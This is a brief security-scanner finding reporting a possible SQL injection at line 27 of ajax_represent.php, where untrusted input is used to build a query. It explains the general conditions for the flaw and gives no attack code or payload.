Abstract:

Line 27 of ajax_represent.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.

1. Data enters a program from an untrusted source.
2. The data is used to dynamically construct a SQL query.
